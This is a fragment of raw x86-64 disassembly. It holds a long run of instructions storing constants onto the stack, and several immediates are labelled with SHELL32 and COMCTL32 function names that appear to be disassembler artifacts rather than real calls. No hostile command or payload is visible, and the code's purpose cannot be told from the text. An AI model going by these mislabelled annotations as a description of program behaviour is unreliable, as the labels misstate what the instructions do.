movabs rax, 0x7ebf605317fbf2
mov qword [rsp + 0x9960], rax
mov dword [rsp + 0x5668], 0x3bea
mov eax, 0x2fc
mov word [rsp + 0xad8], ax
mov eax, 0x6b1
mov word [rsp + 0xadc], ax
movabs rax, 0x71e8f769891132
mov qword [rsp + 0x9968], rax
mov eax, 0x7a9
mov word [rsp + 0xae0], ax
mov byte [rsp + 0x9e], 0x7c
mov dword [rsp + 0x566c], 0x268c30ec
mov dword [rsp + 0x5670], 0x1aa3
movabs rax, 0x783edc7c8e595d
mov qword [rsp + 0x9970], rax
mov eax, 0x9d3
mov word [rsp + 0xae4], ax
movabs rax, 0x752332d093dafb
mov qword [rsp + 0x9978], rax
mov eax, 0x5e1
mov word [rsp + 0xae8], ax
movabs rax, 0x73498fe050120e
mov qword [rsp + 0x9980], rax
mov dword [rsp + 0x5674], 0xe57a
mov byte [rsp + 0x9f], 0x5a
movabs rax, 0x7bd1a547d09dee
mov qword [rsp + 0x9988], rax
mov eax, 0x42f
mov word [rsp + 0xaec], ax
mov dword [rsp + 0x5678], 0x532d2db6
mov eax, 0x33e
mov word [rsp + 0xaf0], ax
mov eax, 0x8bd
mov word [rsp + 0xaf4], ax
mov eax, 0x64a
mov word [rsp + 0xaf8], ax
mov byte [rsp + 0xa0], 0x9d
mov dword [rsp + 0x567c], 0x7ced
mov eax, 0x5ae
mov word [rsp + 0xafc], ax
movabs rax, 0x7ccd111c70bca6
mov qword [rsp + 0x9990], rax
mov dword [rsp + 0x5680], 0x1cea10c7
movabs rax, 0x7724e174c97909
mov qword [rsp + 0x9998], rax
mov byte [rsp + 0xa1], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov eax, 0x115
mov word [rsp + 0xb00], ax
mov eax, 0x168
mov word [rsp + 0xb04], ax
mov dword [rsp + 0x5684], 0xfdfe
mov eax, 0x2a
mov word [rsp + 0xb08], ax
movabs rax, 0x76c2ae7ae5168e
mov qword [rsp + 0x99a0], rax
movabs rax, 0x7bdd53d5dbe053
mov qword [rsp + 0x99a8], rax
mov dword [rsp + 0x5688], 0x59d9c8aa
mov byte [rsp + 0xa2], 0x1f
movabs rax, 0x703b5b019981e9
mov qword [rsp + 0x99b0], rax
movabs rax, 0x7e6f9f9e2b400b
mov qword [rsp + 0x99b8], rax
mov dword [rsp + 0x568c], 0x3a27f254
mov eax, 0x24
mov word [rsp + 0xb0c], ax
movabs rax, 0x7dd1f20d776e4b
mov qword [rsp + 0x99c0], rax
mov eax, 0x52d
mov word [rsp + 0xb10], ax
mov dword [rsp + 0x5690], 0x7f8e
mov eax, 0x78a
mov word [rsp + 0xb14], ax
mov byte [rsp + 0xa3], SHSetInstanceExplorer
mov eax, 0xa12
mov word [rsp + 0xb18], ax
movabs rax, 0x71a6b9b1eb4500
mov qword [rsp + 0x99c8], rax
movabs rax, 0x72abcc570a3b56
mov qword [rsp + 0x99d0], rax
mov byte [rsp + 0xa4], reloc.COMCTL32.dll_MakeDragList
movabs rax, 0x78d9e554ee8dd2
mov qword [rsp + 0x99d8], rax
mov byte [rsp + 0xa5], 0x9e
mov byte [rsp + 0xa6], SHDoDragDrop
mov byte [rsp + 0xa7], 0xbd
movabs rax, 0x78ae20a62a1b09
mov qword [rsp + 0x99e0], rax
mov eax, 0xfdd
mov word [rsp + 0xb1c], ax
mov eax, 0x1dd
mov word [rsp + 0xb20], ax
mov byte [rsp + 0xa8], PathYetAnotherMakeUniqueName
mov eax, 0x2b8
mov word [rsp + 0xb24], ax
mov eax, 0xa7
mov word [rsp + 0xb28], ax
mov eax, 0x379
mov word [rsp + 0xb2c], ax
mov eax, 0x1d7
mov word [rsp + 0xb30], ax
mov dword [rsp + 0x5694], 0x98af
mov eax, SHSetInstanceExplorer
mov word [rsp + 0xb34], ax
mov eax, 0x535
mov word [rsp + 0xb38], ax
mov dword [rsp + 0x5698], 0xa0fc
mov eax, 0x4d
mov word [rsp + 0xb3c], ax
mov byte [rsp + 0xa9], ILIsEqual
mov byte [rsp + 0xaa], 0x26
movabs rax, 0x78d0739c5c3aa9
mov qword [rsp + 0x99e8], rax
mov eax, 0x791
mov word [rsp + 0xb40], ax
mov byte [rsp + 0xab], 0x6b
mov eax, 0xb3c
mov word [rsp + 0xb44], ax
mov eax, 0x6bf
mov word [rsp + 0xb48], ax
movabs rax, 0x795d95898c8976
mov qword [rsp + 0x99f0], rax
mov eax, 0x300
mov word [rsp + 0xb4c], ax
movabs rax, 0x71d3d62d785b89
mov qword [rsp + 0x99f8], rax
movabs rax, 0x7496029ee3d0d1
mov qword [rsp + 0x9a00], rax
mov byte [rsp + 0xac], 0x7d
mov dword [rsp + 0x569c], 0x58d2d464
mov byte [rsp + 0xad], 0xc7
movabs rax, 0x75e3f6012858fc
mov qword [rsp + 0x9a08], rax
movabs rax, 0x7491c4392a20be
mov qword [rsp + 0x9a10], rax
mov dword [rsp + 0x56a0], 0x236c4558
movabs rax, 0x74ca668a404640
mov qword [rsp + 0x9a18], rax
mov byte [rsp + 0xae], 0x26
movabs rax, 0x773bd272a939aa
mov qword [rsp + 0x9a20], rax
mov dword [rsp + 0x56a4], 0x1c97
mov eax, 0xebd
mov word [rsp + 0xb50], ax
movabs rax, 0x71bac6339b2679
mov qword [rsp + 0x9a28], rax
mov byte [rsp + 0xaf], 0x3c
mov byte [rsp + 0xb0], PathYetAnotherMakeUniqueName
movabs rax, 0x7a6b78df800f23
mov qword [rsp + 0x9a30], rax
mov byte [rsp + 0xb1], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0xb2], SHDoDragDrop
mov dword [rsp + 0x56a8], 0x51de7a7
mov eax, 0x688
mov word [rsp + 0xb54], ax
mov eax, 0x268
mov word [rsp + 0xb58], ax
movabs rax, 0x7dad0472eb135c
mov qword [rsp + 0x9a38], rax
mov eax, 0x7a8
mov word [rsp + 0xb5c], ax
mov eax, 0x6dc
mov word [rsp + 0xb60], ax
movabs rax, 0x70daae17c972a7
mov qword [rsp + 0x9a40], rax
movabs rax, 0x70689e03b36957
mov qword [rsp + 0x9a48], rax
mov eax, 0x4bd
mov word [rsp + 0xb64], ax
mov dword [rsp + 0x56ac], 0x9955
mov dword [rsp + 0x56b0], 0x7e8a00b5
mov eax, 0x37b
mov word [rsp + 0xb68], ax
movabs rax, 0x70305fa61a13b1
mov qword [rsp + 0x9a50], rax
mov eax, 0x963
mov word [rsp + 0xb6c], ax
mov eax, 0x4b7
mov word [rsp + 0xb70], ax
movabs rax, 0x71982e8edc4c6a
mov qword [rsp + 0x9a58], rax
mov eax, 0xeaf
mov word [rsp + 0xb74], ax
mov byte [rsp + 0xb3], 0x33
mov eax, 0xccc
mov word [rsp + 0xb78], ax
movabs rax, 0x713e1ea77af35f
mov qword [rsp + 0x9a60], rax
mov dword [rsp + 0x56b4], 0x1b93
mov dword [rsp + 0x56b8], 0xd2d9
mov eax, 0x3a2
mov word [rsp + 0xb7c], ax
mov dword [rsp + 0x56bc], 0xae8
mov eax, 0x653
mov word [rsp + 0xb80], ax
mov eax, 0x73e
mov word [rsp + 0xb84], ax
mov eax, 0xc54
mov word [rsp + 0xb88], ax
movabs rax, 0x733455d2949132
mov qword [rsp + 0x9a68], rax
mov byte [rsp + 0xb4], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x63e
mov word [rsp + 0xb8c], ax
mov byte [rsp + 0xb5], 0x5f
movabs rax, 0x75cc5d621aca5f
mov qword [rsp + 0x9a70], rax
mov dword [rsp + 0x56c0], 0x1cb1cc58
mov dword [rsp + 0x56c4], 0x2579c7cf
movabs rax, 0x778dfc107f3fcb
mov qword [rsp + 0x9a78], rax
mov byte [rsp + 0xb6], 0x76
mov eax, 0xa1
mov word [rsp + 0xb90], ax
mov byte [rsp + 0xb7], 0x65
mov eax, 0x187
mov word [rsp + 0xb94], ax
mov eax, 0x4e3
mov word [rsp + 0xb98], ax
mov eax, 0x496
mov word [rsp + 0xb9c], ax
mov eax, 0x6ef
mov word [rsp + 0xba0], ax
movabs rax, 0x7a6c2fb7163ac5
mov qword [rsp + 0x9a80], rax
mov byte [rsp + 0xb8], SHSetInstanceExplorer
movabs rax, 0x709ad7206dbaaa
mov qword [rsp + 0x9a88], rax
movabs rax, 0x70f7ea1d932a81
mov qword [rsp + 0x9a90], rax
movabs rax, 0x7e052275b1f58e
mov qword [rsp + 0x9a98], rax
mov byte [rsp + 0xb9], ILSaveToStream
movabs rax, 0x779f427f3fa2f2
mov qword [rsp + 0x9aa0], rax
movabs rax, 0x71b86d1ae148e9
mov qword [rsp + 0x9aa8], rax
mov eax, 0x6e2
mov word [rsp + 0xba4], ax
mov byte [rsp + 0xba], 0x74
movabs rax, 0x7551c9045b39d0
mov qword [rsp + 0x9ab0], rax
movabs rax, 0x7602dcf6b94a90
mov qword [rsp + 0x9ab8], rax
mov eax, 0x61f
mov word [rsp + 0xba8], ax
mov byte [rsp + 0xbb], PathMakeUniqueName
mov dword [rsp + 0x56c8], 0x4e04
mov eax, 0x4e
mov word [rsp + 0xbac], ax
movabs rax, 0x74d1b8c6cffc3b
mov qword [rsp + 0x9ac0], rax
mov dword [rsp + 0x56cc], 0x602a22ca
movabs rax, 0x79b05285931912
mov qword [rsp + 0x9ac8], rax
movabs rax, 0x73331b45e56bcc
mov qword [rsp + 0x9ad0], rax
movabs rax, 0x78b81a0a9eee74
mov qword [rsp + 0x9ad8], rax
movabs rax, 0x737878860f0b2f
mov qword [rsp + 0x9ae0], rax
mov eax, 0xfa2
mov word [rsp + 0xbb0], ax
mov eax, 0xbb6
mov word [rsp + 0xbb4], ax
movabs rax, 0x7520796b1ef0b0
mov qword [rsp + 0x9ae8], rax
mov eax, 0x5b2
mov word [rsp + 0xbb8], ax
mov byte [rsp + 0xbc], 2
mov byte [rsp + 0xbd], 0x72
movabs rax, 0x7c83eb740f0af2
mov qword [rsp + 0x9af0], rax
mov eax, 0x789
mov word [rsp + 0xbbc], ax
mov eax, 0x432
mov word [rsp + 0xbc0], ax
mov byte [rsp + 0xbe], 0x5e
mov dword [rsp + 0x56d0], 0x1fe815ca
mov eax, 0x6de
mov word [rsp + 0xbc4], ax
mov dword [rsp + 0x56d4], 0x4380
movabs rax, 0x7eab343c30b019
mov qword [rsp + 0x9af8], rax
mov byte [rsp + 0xbf], 0x6e
mov byte [rsp + 0xc0], reloc.COMCTL32.dll_LBItemFromPt
mov eax, 0x28b
mov word [rsp + 0xbc8], ax
mov eax, 0xed6
mov word [rsp + 0xbcc], ax
movabs rax, 0x7004dac77475cc
mov qword [rsp + 0x9b00], rax
movabs rax, 0x795ae079695112
mov qword [rsp + 0x9b08], rax
mov eax, 0x2f5
mov word [rsp + 0xbd0], ax
mov eax, 0x5a0
mov word [rsp + 0xbd4], ax
movabs rax, 0x7a1af2e0cfaa74
mov qword [rsp + 0x9b10], rax
mov eax, 0x77d
mov word [rsp + 0xbd8], ax
mov byte [rsp + 0xc1], 0x1c
mov eax, 0x245
mov word [rsp + 0xbdc], ax
mov eax, 0x483
mov word [rsp + 0xbe0], ax
mov dword [rsp + 0x56d8], 0x6b855037
movabs rax, 0x7cecbe4a012b49
mov qword [rsp + 0x9b18], rax
movabs rax, 0x7beda53c848f31
mov qword [rsp + 0x9b20], rax
mov eax, 0x638
mov word [rsp + 0xbe4], ax
mov eax, 0x776
mov word [rsp + 0xbe8], ax
movabs rax, 0x7486f10c6696ae
mov qword [rsp + 0x9b28], rax
mov eax, 0x12e
mov word [rsp + 0xbec], ax
movabs rax, 0x72277002a408c7
mov qword [rsp + 0x9b30], rax
mov eax, 0xbf8
mov word [rsp + 0xbf0], ax
mov eax, 0xe0b
mov word [rsp + 0xbf4], ax
mov eax, 0x91
mov word [rsp + 0xbf8], ax
movabs rax, 0x7c008abd44f39a
mov qword [rsp + 0x9b38], rax
mov byte [rsp + 0xc2], 0x62
mov dword [rsp + 0x56dc], 0xcf0a
movabs rax, 0x7ceea4c9f6e721
mov qword [rsp + 0x9b40], rax
movabs rax, 0x79ce1da8db0cd0
mov qword [rsp + 0x9b48], rax
movabs rax, 0x7093d557c0c017
mov qword [rsp + 0x9b50], rax
movabs rax, 0x7c808152087b9e
mov qword [rsp + 0x9b58], rax
mov dword [rsp + 0x56e0], 0xb8ae
mov byte [rsp + 0xc3], 0xd7
mov dword [rsp + 0x56e4], 0x16d2
mov byte [rsp + 0xc4], 0xdf
movabs rax, 0x79a57d3e81b99e
mov qword [rsp + 0x9b60], rax
movabs rax, 0x7c789cc82dd390
mov qword [rsp + 0x9b68], rax
mov eax, 0x50d
mov word [rsp + 0xbfc], ax
mov eax, 0x27f
mov word [rsp + 0xc00], ax
mov eax, 0x15c
mov word [rsp + 0xc04], ax
mov eax, 0x26d
mov word [rsp + 0xc08], ax
movabs rax, 0x728d5661804373
mov qword [rsp + 0x9b70], rax
movabs rax, 0x7b8581970de98a
mov qword [rsp + 0x9b78], rax
movabs rax, 0x76e289e4251283
mov qword [rsp + 0x9b80], rax
movabs rax, 0x7178f1e29e8339
mov qword [rsp + 0x9b88], rax
mov dword [rsp + 0x56e8], 0xe99f
mov byte [rsp + 0xc5], PathMakeUniqueName
movabs rax, 0x74f6978036b69c
mov qword [rsp + 0x9b90], rax
mov eax, 0x4ef
mov word [rsp + 0xc0c], ax
mov byte [rsp + 0xc6], 0xec
movabs rax, 0x7c220440854cd2
mov qword [rsp + 0x9b98], rax
mov eax, 0x606
mov word [rsp + 0xc10], ax
mov eax, 0x5a
mov word [rsp + 0xc14], ax
movabs rax, 0x7d2d4763d3a6ec
mov qword [rsp + 0x9ba0], rax
mov dword [rsp + 0x56ec], 0xfe2f
mov eax, 0x482
mov word [rsp + 0xc18], ax
mov byte [rsp + 0xc7], 0x27
mov eax, 0x304
mov word [rsp + 0xc1c], ax
movabs rax, 0x77f76ab1772faf
mov qword [rsp + 0x9ba8], rax
mov dword [rsp + 0x56f0], 0x44d8
mov eax, 0x37b
mov word [rsp + 0xc20], ax
movabs rax, 0x78a4fe80de3f13
mov qword [rsp + 0x9bb0], rax
movabs rax, 0x77ba2787eec661
mov qword [rsp + 0x9bb8], rax
movabs rax, 0x7ad0657a62d552
mov qword [rsp + 0x9bc0], rax
mov byte [rsp + 0xc8], ILIsEqual
mov eax, 0xb32
mov word [rsp + 0xc24], ax
mov eax, 0x44d
mov word [rsp + 0xc28], ax
mov eax, 0x5f6
mov word [rsp + 0xc2c], ax
mov byte [rsp + 0xc9], 0x71
mov eax, 0x5b2
mov word [rsp + 0xc30], ax
movabs rax, 0x75cb6f9728c0e3
mov qword [rsp + 0x9bc8], rax
movabs rax, 0x71290bd71c2b9b
mov qword [rsp + 0x9bd0], rax
mov eax, 0x756
mov word [rsp + 0xc34], ax
mov byte [rsp + 0xca], 0x6e
mov eax, 0x3cb
mov word [rsp + 0xc38], ax
movabs rax, 0x7931cda7bd4522
mov qword [rsp + 0x9bd8], rax
mov eax, 0x79d
mov word [rsp + 0xc3c], ax
movabs rax, 0x76abd99405ceb8
mov qword [rsp + 0x9be0], rax
mov dword [rsp + 0x56f4], 0xd188
mov eax, 0x75b
mov word [rsp + 0xc40], ax
mov byte [rsp + 0xcb], 0xb7
mov dword [rsp + 0x56f8], 0x2668ca27
mov eax, 0x6df
mov word [rsp + 0xc44], ax
mov dword [rsp + 0x56fc], 0x1cfd
mov dword [rsp + 0x5700], 0x61b9
movabs rax, 0x73a5e8dd6e13f7
mov qword [rsp + 0x9be8], rax
mov eax, 0x4a8
mov word [rsp + 0xc48], ax
movabs rax, 0x760f0f06f17b03
mov qword [rsp + 0x9bf0], rax
mov byte [rsp + 0xcc], PathMakeUniqueName
mov byte [rsp + 0xcd], 0x41
mov eax, 0x4f
mov word [rsp + 0xc4c], ax
mov byte [rsp + 0xce], 0x4d
movabs rax, 0x7e5092e5c90f08
mov qword [rsp + 0x9bf8], rax
mov eax, 0x28d
mov word [rsp + 0xc50], ax
movabs rax, 0x7a7514f764e4b3
mov qword [rsp + 0x9c00], rax
mov byte [rsp + 0xcf], ILIsEqual
mov dword [rsp + 0x5704], 0x72c3
mov dword [rsp + 0x5708], 0x7467dbf
mov eax, 0x9e
mov word [rsp + 0xc54], ax
movabs rax, 0x7a7fd3f8a0e191
mov qword [rsp + 0x9c08], rax
movabs rax, 0x7efb270f6fb957
mov qword [rsp + 0x9c10], rax
mov eax, 0x6a0
mov word [rsp + 0xc58], ax
mov eax, 0x39e
mov word [rsp + 0xc5c], ax
mov eax, 0x5ab
mov word [rsp + 0xc60], ax
movabs rax, 0x79b51ca9ba5a7f
mov qword [rsp + 0x9c18], rax
mov eax, 0x75b
mov word [rsp + 0xc64], ax
mov byte [rsp + 0xd0], SHDoDragDrop
movabs rax, 0x73ebb4f498a40e
mov qword [rsp + 0x9c20], rax
movabs rax, 0x763899884f1800
mov qword [rsp + 0x9c28], rax
mov byte [rsp + 0xd1], reloc.SHELL32.dll_ILGetSize
movabs rax, 0x77854bd6c2d486
mov qword [rsp + 0x9c30], rax
movabs rax, 0x7d305cd79005d0
mov qword [rsp + 0x9c38], rax
mov eax, 0x3aa
mov word [rsp + 0xc68], ax
mov eax, 0x444
mov word [rsp + 0xc6c], ax
mov eax, 0x4ba
mov word [rsp + 0xc70], ax
mov eax, 0xdd4
mov word [rsp + 0xc74], ax
movabs rax, 0x73691ef385c001
mov qword [rsp + 0x9c40], rax
mov byte [rsp + 0xd2], 0x6c
mov eax, 0xb92
mov word [rsp + 0xc78], ax
movabs rax, 0x791d32ed094fad
mov qword [rsp + 0x9c48], rax
movabs rax, 0x75600c42d13079
mov qword [rsp + 0x9c50], rax
mov dword [rsp + 0x570c], 0xfef7
movabs rax, 0x7bf0b54611fa80
mov qword [rsp + 0x9c58], rax
mov dword [rsp + 0x5710], 0x18aa9b37
movabs rax, 0x70bf423a2976ad
mov qword [rsp + 0x9c60], rax
mov eax, 0x145
mov word [rsp + 0xc7c], ax
mov byte [rsp + 0xd3], 0x6f
movabs rax, 0x742f203ff16fd5
mov qword [rsp + 0x9c68], rax
mov eax, 0x218
mov word [rsp + 0xc80], ax
mov eax, 0x4be
mov word [rsp + 0xc84], ax
movabs rax, 0x7722e4f69bf90a
mov qword [rsp + 0x9c70], rax
mov byte [rsp + 0xd4], 0x74
mov eax, 0x544
mov word [rsp + 0xc88], ax
mov eax, 0xd5e
mov word [rsp + 0xc8c], ax
mov dword [rsp + 0x5714], 0xb262
mov byte [rsp + 0xd5], 1
mov dword [rsp + 0x5718], 0x5f0e
mov eax, 0x91f
mov word [rsp + 0xc90], ax
mov byte [rsp + 0xd6], 0x4d
mov dword [rsp + 0x571c], 0xefa7
movabs rax, 0x79d81040bb5a78
mov qword [rsp + 0x9c78], rax
mov dword [rsp + 0x5720], 0x47236e34
mov eax, 0x543
mov word [rsp + 0xc94], ax
mov eax, 0x727
mov word [rsp + 0xc98], ax
movabs rax, 0x788024822ec82c
mov qword [rsp + 0x9c80], rax
movabs rax, 0x78c057d5a8d721
mov qword [rsp + 0x9c88], rax
movabs rax, 0x7413d09dd18534
mov qword [rsp + 0x9c90], rax
mov dword [rsp + 0x5724], 0xc188
movabs rax, 0x758eb585e69d0e
mov qword [rsp + 0x9c98], rax
mov eax, 0x7d3
mov word [rsp + 0xc9c], ax
movabs rax, 0x7e97bf7f0f4fdd
mov qword [rsp + 0x9ca0], rax
mov dword [rsp + 0x5728], 0x3f4cbc23
movabs rax, 0x70921407ed8338
mov qword [rsp + 0x9ca8], rax
movabs rax, 0x71e7b7d1e0edb5
mov qword [rsp + 0x9cb0], rax
movabs rax, 0x78516758e49a51
mov qword [rsp + 0x9cb8], rax
mov dword [rsp + 0x572c], 0x94fc
mov eax, 0x7ac
mov word [rsp + 0xca0], ax
mov eax, 0x680
mov word [rsp + 0xca4], ax
mov eax, 0x68e
mov word [rsp + 0xca8], ax
mov eax, 0x55f
mov word [rsp + 0xcac], ax
movabs rax, 0x71eed5780a066c
mov qword [rsp + 0x9cc0], rax
mov dword [rsp + 0x5730], 0x6964
mov eax, 0xa5a
mov word [rsp + 0xcb0], ax
mov byte [rsp + 0xd7], PathMakeUniqueName
mov eax, ILIsEqual
mov word [rsp + 0xcb4], ax
movabs rax, 0x7b1bf5de7c8361
mov qword [rsp + 0x9cc8], rax
movabs rax, 0x7050a3dcc11d49
mov qword [rsp + 0x9cd0], rax
mov eax, 0x1b5
mov word [rsp + 0xcb8], ax
mov eax, 0xdb9
mov word [rsp + 0xcbc], ax
mov eax, 0x1be
mov word [rsp + 0xcc0], ax
movabs rax, 0x763481922fbeca
mov qword [rsp + 0x9cd8], rax
mov eax, 0xc48
mov word [rsp + 0xcc4], ax
mov byte [rsp + 0xd8], 0xd0
mov byte [rsp + 0xd9], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0xda], ILGetSize
movabs rax, 0x73353045a34bef
mov qword [rsp + 0x9ce0], rax
mov byte [rsp + 0xdb], 0x4d
mov dword [rsp + 0x5734], 0x670a
movabs rax, 0x754a89f8b9a491
mov qword [rsp + 0x9ce8], rax
mov byte [rsp + 0xdc], reloc.SHELL32.dll_PathMakeUniqueName
mov eax, 0x447
mov word [rsp + 0xcc8], ax
mov eax, 0x161
mov word [rsp + 0xccc], ax
mov dword [rsp + 0x5738], 0x4f81dedc
mov byte [rsp + 0xdd], 0x1c
mov dword [rsp + 0x573c], 0x7c4fc74b
mov eax, 0x70b
mov word [rsp + 0xcd0], ax
mov eax, 0x6ba
mov word [rsp + 0xcd4], ax
mov dword [rsp + 0x5740], 0xf5c8
mov byte [rsp + 0xde], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xdf], 0x79
movabs rax, 0x7b4cae1aec4c1c
mov qword [rsp + 0x9cf0], rax
mov dword [rsp + 0x5744], 0x269350c1
mov byte [rsp + 0xe0], 0x7e
mov dword [rsp + 0x5748], 0x7c94b0e4
mov eax, 0x549
mov word [rsp + 0xcd8], ax
movabs rax, 0x7eb78d21cef61f
mov qword [rsp + 0x9cf8], rax
movabs rax, 0x793387dedd6604
mov qword [rsp + 0x9d00], rax
mov byte [rsp + 0xe1], 0x5e
mov eax, 0x532
mov word [rsp + 0xcdc], ax
movabs rax, 0x714c3fb8803b90
mov qword [rsp + 0x9d08], rax
movabs rax, 0x7a83259e824050
mov qword [rsp + 0x9d10], rax
movabs rax, 0x7c09070edcbb63
mov qword [rsp + 0x9d18], rax
mov eax, 0x35a
mov word [rsp + 0xce0], ax
mov byte [rsp + 0xe2], 0x42
movabs rax, 0x7b5142baf01489
mov qword [rsp + 0x9d20], rax
mov eax, 0x202
mov word [rsp + 0xce4], ax
movabs rax, 0x7ae08373486b44
mov qword [rsp + 0x9d28], rax
mov eax, 0x8b7
mov word [rsp + 0xce8], ax
mov eax, 0x7eb
mov word [rsp + 0xcec], ax
mov byte [rsp + 0xe3], 0x4d
mov dword [rsp + 0x574c], 0x34dd5a2e
mov eax, 0x8f3
mov word [rsp + 0xcf0], ax
movabs rax, 0x79fa45f2f30394
mov qword [rsp + 0x9d30], rax
movabs rax, 0x7c53162f2ea796
mov qword [rsp + 0x9d38], rax
mov eax, 0x38e
mov word [rsp + 0xcf4], ax
mov eax, 0x246
mov word [rsp + 0xcf8], ax
mov dword [rsp + 0x5750], 0x866e
mov byte [rsp + 0xe4], 0x6d
movabs rax, 0x72bac9144db9e5
mov qword [rsp + 0x9d40], rax
mov eax, 0x1f3
mov word [rsp + 0xcfc], ax
mov byte [rsp + 0xe5], ILSaveToStream
movabs rax, 0x7af278617549bd
mov qword [rsp + 0x9d48], rax
movabs rax, 0x72680b001c5f61
mov qword [rsp + 0x9d50], rax
mov eax, 0xf4d
mov word [rsp + 0xd00], ax
mov dword [rsp + 0x5754], 0xa18f
movabs rax, 0x72a5c7f53df030
mov qword [rsp + 0x9d58], rax
mov eax, 0xebd
mov word [rsp + 0xd04], ax
mov dword [rsp + 0x5758], 0x1d58a018
mov byte [rsp + 0xe6], 0x39
mov eax, 0x58d
mov word [rsp + 0xd08], ax
mov eax, 0x5a5
mov word [rsp + 0xd0c], ax
mov dword [rsp + 0x575c], 0x655e
movabs rax, 0x7ca977fa4728fd
mov qword [rsp + 0x9d60], rax
mov byte [rsp + 0xe7], 0xd5
movabs rax, 0x73166c0eddd663
mov qword [rsp + 0x9d68], rax
mov dword [rsp + 0x5760], 0x84cb
movabs rax, 0x7bf51189581081
mov qword [rsp + 0x9d70], rax
movabs rax, 0x72d496a7f37d60
mov qword [rsp + 0x9d78], rax
mov eax, 0xccc
mov word [rsp + 0xd10], ax
mov eax, 0x649
mov word [rsp + 0xd14], ax
movabs rax, 0x71bad2c1c2cba5
mov qword [rsp + 0x9d80], rax
mov byte [rsp + 0xe8], ILGetSize
mov eax, reloc.SHELL32.dll_SHSetInstanceExplorer
mov word [rsp + 0xd18], ax
mov eax, 0x5b1
mov word [rsp + 0xd1c], ax
mov dword [rsp + 0x5764], 0x76e5
movabs rax, 0x70499d2effea37
mov qword [rsp + 0x9d88], rax
mov byte [rsp + 0xe9], 0x1c
movabs rax, 0x79bb9e0708eded
mov qword [rsp + 0x9d90], rax
mov eax, 0x466
mov word [rsp + 0xd20], ax
mov byte [rsp + 0xea], SHTestTokenMembership
mov eax, 0xac2
mov word [rsp + 0xd24], ax
mov eax, 0x669
mov word [rsp + 0xd28], ax
mov byte [rsp + 0xeb], reloc.SHELL32.dll_ILIsEqual
mov eax, 0x9fa
mov word [rsp + 0xd2c], ax
mov eax, 0x4bf
mov word [rsp + 0xd30], ax
movabs rax, 0x7d64cb09434c19
mov qword [rsp + 0x9d98], rax
movabs rax, 0x74ac97abf0b89f
mov qword [rsp + 0x9da0], rax
mov eax, 0x74b
mov word [rsp + 0xd34], ax
mov dword [rsp + 0x5768], 0x43c8
mov byte [rsp + 0xec], 0x69
mov eax, 0x242
mov word [rsp + 0xd38], ax
mov eax, 0xa32
mov word [rsp + 0xd3c], ax
movabs rax, 0x7528038764b00d
mov qword [rsp + 0x9da8], rax
mov byte [rsp + 0xed], 0x5d
mov dword [rsp + 0x576c], 0x6365923
mov eax, 0x128
mov word [rsp + 0xd40], ax
mov byte [rsp + 0xee], 0x26
movabs rax, 0x7dcdb7b0fac946
mov qword [rsp + 0x9db0], rax
movabs rax, 0x7c2e67105cc562
mov qword [rsp + 0x9db8], rax
mov eax, reloc.SHELL32.dll_SHDoDragDrop
mov word [rsp + 0xd44], ax
mov dword [rsp + 0x5770], 0x46fedbf9
mov dword [rsp + 0x5774], 0x1e73
movabs rax, 0x7288b3753d3304
mov qword [rsp + 0x9dc0], rax
mov byte [rsp + 0xef], 0x70
mov dword [rsp + 0x5778], 0x3be2
mov byte [rsp + 0xf0], 1
mov eax, 0x2e9
mov word [rsp + 0xd48], ax
movabs rax, 0x76191b9e653b99
mov qword [rsp + 0x9dc8], rax
mov dword [rsp + 0x577c], 0x37365d35
mov dword [rsp + 0x5780], 0x7eeb
movabs rax, 0x7ae6700c2285d2
mov qword [rsp + 0x9dd0], rax
mov eax, 0x712
mov word [rsp + 0xd4c], ax
mov dword [rsp + 0x5784], 0x716f
mov dword [rsp + 0x5788], 0xf0bd
mov dword [rsp + 0x578c], 0x345daf71
mov dword [rsp + 0x5790], 0x3f2e10bb
mov eax, 0x192
mov word [rsp + 0xd50], ax
movabs rax, 0x7e8e5f2c031540
mov qword [rsp + 0x9dd8], rax
movabs rax, 0x7be43b49b55e80
mov qword [rsp + 0x9de0], rax
mov dword [rsp + 0x5794], 0x2f75
mov eax, 0x416
mov word [rsp + 0xd54], ax
mov byte [rsp + 0xf1], 0x4f
movabs rax, 0x74395a31e195ec
mov qword [rsp + 0x9de8], rax
mov byte [rsp + 0xf2], ILIsEqual
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0xd58], ax
mov eax, 0x784
mov word [rsp + 0xd5c], ax
mov eax, 0x206
mov word [rsp + 0xd60], ax
movabs rax, 0x73df8c9471d78c
mov qword [rsp + 0x9df0], rax
mov byte [rsp + 0xf3], 0x6f
mov byte [rsp + 0xf4], 0x5e
mov dword [rsp + 0x5798], 0xb47669a
movabs rax, 0x71749c7d5755fb
mov qword [rsp + 0x9df8], rax
mov byte [rsp + 0xf5], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x7bf424d39544d8
mov qword [rsp + 0x9e00], rax
mov byte [rsp + 0xf6], 0xd1
mov eax, 0x297
mov word [rsp + 0xd64], ax
movabs rax, 0x7c9781f66ddf28
mov qword [rsp + 0x9e08], rax
mov dword [rsp + 0x579c], 0x4207
mov eax, 0x526
mov word [rsp + 0xd68], ax
mov eax, 0x36a
mov word [rsp + 0xd6c], ax
mov eax, 0x8c7
mov word [rsp + 0xd70], ax
mov byte [rsp + 0xf7], PathMakeUniqueName
mov byte [rsp + 0xf8], 0x4c
movabs rax, 0x7abcaf7b3fc07c
mov qword [rsp + 0x9e10], rax
mov eax, 0xca0
mov word [rsp + 0xd74], ax
movabs rax, 0x736ee9028c2e19
mov qword [rsp + 0x9e18], rax
mov eax, 0x612
mov word [rsp + 0xd78], ax
mov byte [rsp + 0xf9], 0xc0
mov eax, 0x643
mov word [rsp + 0xd7c], ax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0xd80], ax
mov byte [rsp + 0xfa], 0x33
mov eax, 0x279
mov word [rsp + 0xd84], ax
mov byte [rsp + 0xfb], 0x65
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0xd88], ax
mov eax, 0xbc2
mov word [rsp + 0xd8c], ax
movabs rax, 0x7eaa8299c7b6df
mov qword [rsp + 0x9e20], rax
mov dword [rsp + 0x57a0], 0x424e
mov dword [rsp + 0x57a4], 0x7ab1daa9
mov byte [rsp + 0xfc], SHSetInstanceExplorer
movabs rax, 0x74cb5e882efb65
